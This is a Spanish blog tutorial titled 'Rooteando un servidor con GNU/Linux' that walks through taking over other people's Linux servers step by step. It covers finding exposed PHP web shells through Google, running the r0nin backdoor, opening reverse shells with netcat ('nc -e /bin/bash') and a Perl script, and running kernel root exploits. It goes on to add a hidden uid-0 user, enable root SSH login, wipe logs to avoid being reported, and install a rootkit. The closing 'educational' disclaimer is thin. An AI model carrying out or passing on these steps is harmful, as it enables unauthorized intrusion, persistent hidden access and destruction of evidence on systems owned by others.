Rooteando un servidor con GNU/Linux

Con “rootear” nos referimos a conseguir acceso como superusuario (root) en un ordenador con GNU/Linux, de forma que podemos realizar cualquier cambio en el ordenador víctima.

Los pasos que voy a describir en este tutorial son los siguientes:

1_ Conseguir una shell PHP decente.
2_ Conectar al ordenador víctima.
3_ Consiguiendo y utiilizando un rootexploit para la versión de Kernel del ordenador víctima.
4_ Agregar usuario root para poder conectar mediante SSH.
5_ Configurar SSHD en caso de ser necesario para poder conectar al ordenador víctima mediante SSH con nuestro usuario root.
6_ Activando o reiniciando SSHD en caso de ser necesario.
7_ Conectando mediante SSH con tu usuario root.
8_ Utilizando limpiadores de logs
9_ Rootkits (Opcional).
10_ Aclaraciones finales.


Empezemos…

1 Conseguir una shell PHP decente:

¿Que quiero decir con eso? Una shell PHP es un script donde pueden ejecutarse comandos de la misma forma que en una consola de texto (en este caso será una consola de texto de GNU/Linux). Los comandos disponibles son solamente los que el ordenador que tiene esa shell PHP permite. En pocas palabras, una shell PHP es una consola de texto más.
Para obtener una shell PHP podemos hacer dos cosas: O lograr subir una shell PHP al ordenador víctima aprovechando alguna vulnerabilidad, o buscar una que ya esté subida a otro ordenador víctima (esto es lo mejor si solo quieres practicar).
Antes de buscar una shell PHP, o usar una que ya tengamos, nesecitamos tener un punto en cuenta:
El ordenador víctima debe tener el Safe mode de PHP desactivado, o sea, OFF, si está ON no permite la ejecución de archivos ni la navegación por los directorios; así que si está en ON no nos servirá.
Podemos encontrar muchas shells PHP con safe mode OFF usando a nuestro amigo Google, de las dos siguientes formas:
“Safe mode: OFF”
“Safe mode: OFF (Not secure)” <— Esta es mejor
Lo mejor es incluir las comillas, así los resultados serán mucho más exactos.

Para fijarnos el sistema operativo que está corriendo ese ordenador podemos utilizar el comando:

uname

Si dice otra cosa que no sea “Linux”, entonces no sirve.

Una vez que hemos encontrado un ordenador con Linux podemos empezar a probar que comandos tenemos disponibles, así iremos viendo si vale la pena seguir adelante.

Con decente me refiero a que permita ejecutar binarios (ejecutables), se puedan subir archivos mediante el comando wget, o desde la misma shell; y permita que puedan conectarse al ordenador víctima de forma que obtengan su shell, o que permita que ese ordenador nos de su shell a través de una conexión inversa.

¿Como averiguamos esto? Con el siguiente paso:

2 Conectar al ordenador víctima:

Ya tenemos la shell PHP con Safe mode OFF, ahora lo que debemos hacer para poder utilizar un exploit y ganar acceso como root, es conectarnos al ordenador víctima.
¿Como hacemos eso? Hay dos formas:
La primera es utilizando un backdoor, que es una especie de troyano el cual se instala en X puerto y nosotros podemos acceder a el mediante netcat, u otro programa similar.
En este caso usaremos el troyano para linux más conocido y usado: r0nin
Al ejecutarse este backdoor se instala en el puerto 1666
Lo subimos mediante wget y la url del archivo, o con la misma shell (si es que da la opción).
Para ejecutarlo vamos al directorio donde está el r0nin y escribimos:
chmod +x r0nin
Con eso le damos permiso de ejecución. Y ahora:

./r0nin

./ significa que se ejecuta el archivo que está en ese mismo directorio.

Bien, ahora revisaremos si el ordenador permite que nos conectemos a el. En este caso usaremos el netcat para tratar de conectar al host. Escribimos en la consola:

nc ipdelhost 1666

Si aparece la shell de la víctima ya no nesecitas probar hacer una conexión inversa y puedes pasar al paso 3, pero si no funciona deberás probar el otro método.

El otro método es: Conexión inversa.

¿Como funciona esto? Dejas un puerto de tu ordenador a la escucha, eso quiere decir que aceptará cualquier conexión entrante en el puerto especificado. En este caso usaremos el puerto 31337, así podremos recibir la shell que enviaremos del ordenador víctima al nuestro.
Para dejar a la escucha el puerto 31337 escribimos:

nc -l -n -v -p 31337

Debería aparecer algo como esto:

listening on [any] 31337 …

Ahora que ya dejamos el puerto listo, debemos enviar la shell de la víctima a aquel. En la shell PHP del equipo víctima escribimos:

nc -e /bin/bash nuestraip 31337

Si no tiene el netcat, o el mismo ha sido deshabilitado, podemos subirle uno (aqui les dejo un link), darle permisos llendo al directorio donde se encuentra el mismo y haciendo chmod +x nc, y ejecutarlo de la misma forma que el paso anterior, pero antes especificar que se usará el nc que está en el directorio en donde estamos nosotros, o sea, usando ./

También puedes subir el lugar del netcat, un script en perl que realice una conexión inversa; en este ejemplo usaremos mi preferido (aqui tienen el link).
Para ejecutarlo luego de subirlo, ve al directorio donde se encuentra el mismo, dale permisos de ejecución con chmod +x pb.pl, y ejecútalo de la siguiente forma:

perl pb.pl tuip 31337

Ahora deberías tener la shell de tu víctima lista para usar. Si ninguno de los pasos anteriores sirve, lo mejor es que te des por vencido y busques otro ordenador con una shell PHP e intentes de nuevo los pasos anteriores, ya que aquel debe tener firewall y no permite conexiones entrantes ni salientes en puertos que no sean utilizados para tareas comunes y corrientes (ejemplo, puerto 80 para servidor web, 25 para correo, etc).

Ahora que ya tienes la shell de tu víctima, puedes ir al paso 3:

3 Consiguiendo y utiilizando un rootexploit para la versión de Kernel del ordenador víctima:

Ahora, para conseguir permisos de root en ese ordenador, debemos explotarlo utilizando un rootexploit.
En este caso probaremos algunos de los que tengo disponibles en mi web (aqui tienen el link).

Pero antes de probar cualquier exploit lo mejor es ver que versión de Kernel tiene la víctima, para eso escribimos en la shell de la misma:

uname -a

Da por resultado la siguiente información:
Linux (hostname del usuario) (versión del Kernel) #1 (fecha de creación de ese Kernel) (arquitectura del procesador)
Un ejemplo puede ser:

Linux localhost 2.4.20 #1 SMP Thu Mar 13 17:45:54 EST 2003 i686

Como vemos, lo mejor será utilzar algún exploit de esa rama de Kernel (2.4.x), así que subimos el exploit que queramos de ese directorio (sugiero empezar por el primero), le damos permisos de ejecución e intentamos ejecutarlo.
Cada vez que probemos el exploit y este termine de ejecutarse, escribiremos el comando id, y habremos conseguido permisos de root si nos sale algo como esto:

uid=0(root) gid=0(root) groups=0(root)

Si en lugar de eso sale el nombre de un usuario normal y el grupo de usuarios, quiere decir que el exploit no ha funcionado, así que debemos bajar otro e ir probando hasta lograrlo.

Una vez que hayas conseguido permisos de root, podrás seguir con el cuarto paso:

4 Agregar usuario root para poder conectar mediante SSH:

Ya tienes permisos de root, así que ahora podrás agregar un usuario, luego darle permisos de root a ese usuario así podrás conectarte a el mediante SSH (para más comodidad, y además por si llegan a borrar la shell php que te permitió entrar allí).

Si queremos que nuestro usuario se llame t00r, escribimos el siguiente comando:

useradd t00r -d /root -g 0 -p lapassquetuquieras -s /bin/bash

-d es para establecer el directorio de ese usuario, en este caso pusimos /root, que es un directorio ya existente, así nadie se da cuenta de que ha habido cambios en el ordenador.
-g es para establecer el número del grupo, en este caso es el 0, que pertenece al root.
-p es para establecer la password para ese usuario, la cual debe tener por lo menos 6 carácteres
-s es para establecer que tipo de shell usará ese usuario. La más común es bash, aunque puedes elegir la que tu quieras.

Una vez agregado el usuario, puedes proceder a darle permisos de root de la siguiente forma:
Editar el archivo passwd. Para eso deberás primero copiarlo a algún lugar que sea accesible desde la web (así podremos usar un script PHP que subamos para editarlo).
Suponiendo que el directorio en donde se ecuentra la shell PHP es: /home/usuario1/www, debemos poner:

cp /etc/passwd /home/usuario1/www/passwd

Ahora debemos darle a dicho archivo permiso de lectura y escritura por cualquier usuario (666). Nos situamos en el directorio en donde lo hemos copiado, y escribimos:

chmod 666 passwd

Ahora puedes subir algún script PHP que te permita modificar dicho archivo, o utilizar la misma shell PHP si lo permite (ya que la que más comunmente encontraremos es la que permite editar, descargar y eliminar archivos).
Si no tienes dicha shell, súbela al servidor (aqui dejo el link). Una vez subida cámbiale la extensión txt por php, situándote en el directorio donde esta se encuentra, y con el comando:

mv c99.txt c99.php

Ahora entra a la shell, busca el archivo y edítalo. Ahora debes buscar una línea como esta:

t00r:x:1003:0::/root:/bin/bash

El 1003 es el uid del usuario (id único) que se le asignó en ese momento (varía según cuantos usuarios haya en ese ordenador). O sea, si el último usuario agregado antes de t00r tiene el uid 501, t00r tendrá el 502.
El 0 como dijimos antes, es el número del grupo root.
Etc etc.
Ahora debemos cambiar ese 1003 por el uid de root (0), de forma que quedaría así:

t00r:x:0:0::/root:/bin/bash

Luego de editarlo dale los permisos que tenía antes (644, que es que pueda ser nada más editado y leido por el root, y por los demás solamente leído) de la siguiente forma:
Ve a la shell rooteada, luego al lugar donde has copiado el archivo passwd y escribe:

chmod 644 passwd

Ahora cópialo a su lugar original:

cp passwd /etc/passwd

Con esto ya estás listo para el siguiente paso:

5 Configurar SSHD en caso de ser necesario para poder conectar al ordenador víctima mediante SSH con nuestro usuario root.

Para mirar el puerto en el que SSHD está funcionando (o funcionará cuando lo activemos) revisaremos la configuración con el siguiente comando:

cat /etc/ssh/sshd_config | grep Port

Debería salirnos algo como:

Port 22
GatewayPorts no

Port es el puerto en donde SSHD funciona al iniciarlo. (Este puede variar según lo que haya elegido el que editó el archivo anteriormente). El que viene por defecto al instalar SSHD es el 22.
Si esa línea tiene antes de todo un #, significa que está comentada, y que será ignorada por el SSHD al iniciarse, y se tomará la orden por defecto, en este caso el puerto 22.
Para evitar que SSHD nos impida loguearnos con nuestro usuario root, lo mejor es que revisemos si permite logueos remotos con usuarios root. Esto lo hacemos de la siguiente forma:

cat /etc/ssh/sshd_config | grep PermitRootLogin

Debería aparecernos algo como:

PermitRootLogin yes

Si esa línea está comentada, el servidor toma como que están permitidos los logins remotos con usuarios root. Ejemplo:

#PermitRootLogin yes

O sino:

#PermitRootLogin no

De cualquier forma el servidor dejará hacer el login.
Si la línea está puesto en yes, o está comentada, podemos seguir con el paso número 6.
Si no dice yes y la línea no está comentada, significa que el login remoto con usuarios root está desactivado, así que debemos cambiarlo por yes.
Para eso repetimos el procedimiento del paso número 4 (cuando editamos el archivo passwd). Pero esta vez con el archivo /etc/ssh/sshd_config, buscamos la línea mencionada anteriormente (PermitRootLogin), la cambiamos por yes, y antes de copiarlo a su lugar de origen le damos los permisos 640.

Ahora puedes seguir con el siguiente paso:

6 Activando o reiniciando SSHD en caso de ser necesario:

Para poder conectar mediante SSH al ordenador víctima y usar tu usuario con permisos de root, primero nesecitarás ver si SSHD (Secure Shell Daemon) está activo.
Escribe:

ps ax | grep sshd

ps es para mostrar los procesos del sistema.
a es para mostrar todos los procesos.
x es para mostrar incluso los procesos que están corriendo mediante consola de texto.
| es una tubería que indica que la información dada será enviada a otro programa.
grep es un programa que filtra el texto de un archivo o comando, y muestra nada más la línea completa en donde está el texto que introducistes (en este caso sshd). Así mostrará nada más la información de SSHD.
Si SSHD está funcionando, debería aparecerte algo como esto:

8505 ? Ss 0:00 /usr/sbin/sshd

Si no aparece nada es porque no está funcionando.
Si habíamos cambiamos la configuración de SSHD (paso 5) y el mismo está activo, deberemos reiniciarlo para que se apliquen los cambios.
Obviamente para activar o reiniciar SSHD primero debemos localizarlo, esto lo hacemos con el comando:

locate sshd | grep /etc

Debería aparecer algo como esto:

/etc/ssh/sshd_config
/etc/init.d/sshd

O así:

/etc/ssh/sshd_config
/etc/rc.d/rc.sshd

(Obviamente la segunda opción de cada caso es SSHD).
Para reiniciar SSHD escribimos (suponiendo que es el primer caso o sea /etc/init.d/sshd):

/etc/init.d/sshd restart

O si SSHD no estaba iniciado lo activamos con el comando:

/etc/init.d/sshd start

Si todo sale bien ya estamos listos para el siguiente paso:

7 Conectando mediante SSH con tu usuario root:

Ahora, para conectarte hacerlo si tienes GNU/Linux o alguna variante de Unix escribe:
Si el puerto en la config de SSHD era 22, no hace falta que lo especifiquemos, así que deberíamos escribir:

ssh ipdelhost -l t00r

-l es para especificar el usuario con el que te quieres conectar (en este caso t00r).

Pero si era otro puerto, por ej, 516, debemos escribir:

ssh ipdelhost -p 516 -l t00r

-p obviamente, es para especificar el puerto.

Desde Windows puedes usar algún cliente de terminal (por ej PuTTY), al abrirlo colocamos la ip del host y el puerto y clickeamos en conectar.

Una vez que ya has conectado puedes ir el siguiente paso:

8 Utilizando limpiadores de logs:

Una vez que ya has hecho todo, lo que más conviene es usar un limpiador de logs. ¿Por qué?
La respuesta es esta: Muchas de tus acciones quedan guardadas en varios logs del sistema, por lo que es conveniente (para evitar que los administradores descubran tu ip o algún dato tuyo que pueda llevarlos a denunciarte), borrar dichos logs.
Para eso puedes usar cualquier delogger. En este caso usaremos este.
Simplemente súbelo, dale permisos con chmod +x y ejecútalo con ./deloger, estando en la shell de la víctima en modo root.

9 Rootkits (Opcional):

Advertencia: Algunos rootkits pueden hacer que no puedan verse ciertos archivos, ya que para eso están hechos (para ocultar archivos, usuarios y procesos). El rootkit que se ofrece a continuación no ha sido probado por mi, de forma que no puedo garantizar que funcione de la manera esperada. Úsalos bajo tu propia responsabilidad.

Como dice Wikipedia: “Un rootkit oculta inicios de sesión (logins), procesos, archivos y registros (logs). Puede incluir software para interceptar datos procedentes de terminales, conexiones de red e incluso el teclado (keylogger).”
Explicado de otra manera, un rootkit nos servirá para pasar inadvertidos ante los administradores del ordenador que hemos rooteado.
Aqui está el link del rootkit que usaremos en este caso. Primero lo descomprimimos con el siguiente comando:

tar xvf toolkit.tar.gz

Vamos a la carpeta del toolkit, damos permiso de ejecución a install con chmod +x install, y lo ejecutamos:

./install

Nada más.

10 Aclaraciones finales:

Este texto, ha sido publicado con fines educativos. ¿Con que objetivo? Simple. Mediante este artículo quiero demostrar la facilidad con la que hoy en día puede quebrantarse la seguridad de un servidor u ordenador común y corriente. Además quiero mostrar de que forma un atacante se va haciendo con el control del ordenador o servidor víctima, así los que lean este artículo podrán aprender a mejorar la seguridad de los mismos.

Dedicación:Yodebian
Andsux – Dark End Team
HeliosZ – Dark End Team
Caim – Dark End Team
Kania – Evilgirls


Creative Commons License
This work by Tobias Nahuel Paiva (Sarckz) is licensed under a Creative Commons Attribution-NonCommercial-NoDerivs 3.0 Unported License.

Advertisement

Deja un comentario

Fill in your details below or click an icon to log in:

Gravatar
Logo de WordPress.com

You are commenting using your WordPress.com account. Log Out / Cambiar )

Twitter picture

You are commenting using your Twitter account. Log Out / Cambiar )

Facebook photo

You are commenting using your Facebook account. Log Out / Cambiar )

Connecting to %s

Seguir

Get every new post delivered to your Inbox.